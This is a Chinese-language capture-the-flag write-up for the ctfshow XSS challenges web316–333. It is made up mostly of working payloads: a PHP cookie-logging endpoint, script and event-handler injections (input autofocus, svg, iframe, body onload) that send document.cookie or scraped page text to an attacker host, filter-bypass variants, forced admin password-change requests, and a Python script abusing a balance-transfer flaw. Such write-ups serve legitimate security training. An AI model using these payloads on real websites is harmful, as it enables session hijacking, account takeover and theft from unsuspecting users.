提前准备
准备几个XSS注入网站:
如https://xsshs.cn/,https://xss.pt/,http://xsscom.com去生成xss链接
当然,除此之外,也可以自己编写:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
web316
后台bot会自动访问你的连接,我们只需要写一段恶意XSS内容即可。
这里用https://xss.pt/进行复现。
注册好后,创建项目之后,把获取cookie添加上。
好像抓到的是自己🤔。
那就试一试写在自己的VPS上。
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
payload:<script>document.location.href="http://ip/xss.php?cookie="+document.cookie</script>
传入就可以得到需要的flag了:
web317
过滤了script,随便换一个标签名称就行了,比如input:
<input onfocus="window.open('http://natro92.top/xss.php?cookie='+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
其他接入方法
其他的方法:
<svg onload="window.open('http://ip/'+document.cookie)">
<iframe onload="window.open('http://ip/'+document.cookie)"></iframe>
<body onload="window.open('http://ip/'+document.cookie)">
用上面这种方法直接用nc接就行,或者python的服务器。
python3 -m http.server 39543
注意这里有一个小坑,我最开始测试,无论nc还是什么都是不行的,想了一下才想起来,vps是有防火墙的,如果你没有在阿里云或者其他云平台开放端口是打不进来的。
同理,使用nc也是可以达到效果的:
nc -vlp 8888
payload也就可以简便为:
<input onfocus="window.open('http://xxx/'+document.cookie)" autofocus>
可能慢一点,多刷新。
既然如此,dnslog估计也是可以用的。
web318-319
<input onfocus="window.open('http://xxx/'+document.cookie)" autofocus>
web320-web326
过滤掉了空格
绕过方法:
- TAB
- /
- /**/
payload:
<input/**/onfocus="window.open('http://xxx/'+document.cookie)"/**/autofocus>
web327
存储型XSS,还是用之前payload。
这里需要给admin发信息,意思大概是获取admin的cookie。
web328
有个登录页面,但是登不上去,旁边有个注册,注册的用户管理用户名会被管理员检测到。因此将payload放入用户名中。
虽然没有flag,但是有cookie,尝试登录一下。PHPSESSID=7e8jf9pathne9tvgnb02kvj4h9
在hackbar中传入的cookie是临时的而且没有删除掉本地的cookie,我们需要写到存储中,并删除掉原有cookie值:
然后就能看到cookie了。
web329
直接用之前的方法,得到的cookie是前一次的cookie(管理员打开之后立即退出了登录),cookie刷新了,也就失效了。
那直接写段js,使其执行时获取到页面的其他显示密码即可(因为管理员页面是显示密码的。)。
document.querySelectorAll('.laytable-cell-1-0-1').forEach(cell => {
if (cell.textContent.startsWith('ctfshow{')) {
console.log(cell.textContent);
window.open('http://xxx:8888/'+cell.textContent)
}
});
这时候我们注册测试一下。
为什么会没接到呢。
试一试wp的写法:
<script>$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show')>-1){
window.location.href='http://ip/a.php?cookie='+value.innerHTML;
}
});</script>
怪了,这种就可以传上去:
这里面有文本干扰,所以在末尾添加一个{
来定向获取flag。
也就是:
<script>$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show{')>-1){
window.location.href='http://xxx:8888/'+value.innerHTML;
}
});</script>
这时就能得到flag了。
web330
多了一个修改密码,直接让管理员修改密码即可。查看访问格式:
<script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script>
注意,当登录之后访问页面之后就会发现会跳转到修改的页面,手速快点复制下来。
web331
与上题类似,但是这里使用的是post:
修改一下payload即可:
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'admin'}});</script>
web332
为什么给admin转-99999就变成正的了,有点摸不到头脑
web333
自己给自己转可以加钱,什么虚空科技。直接上脚本
import requests
x=5
url="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/amount.php"
url2="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=jkvcavn3fpfel2opl4afqdcepp'} #自己登录后的sessionid
while True:
print(x)
t=x-1
data={
'u':'user', #注册的用户名
'a':str(t)
}
r=requests.post(url,headers=headers,data=data)
print(r.text)
if(x>10000):
r2=requests.get(url2,headers=headers)
print(r2.text)
break
x+=t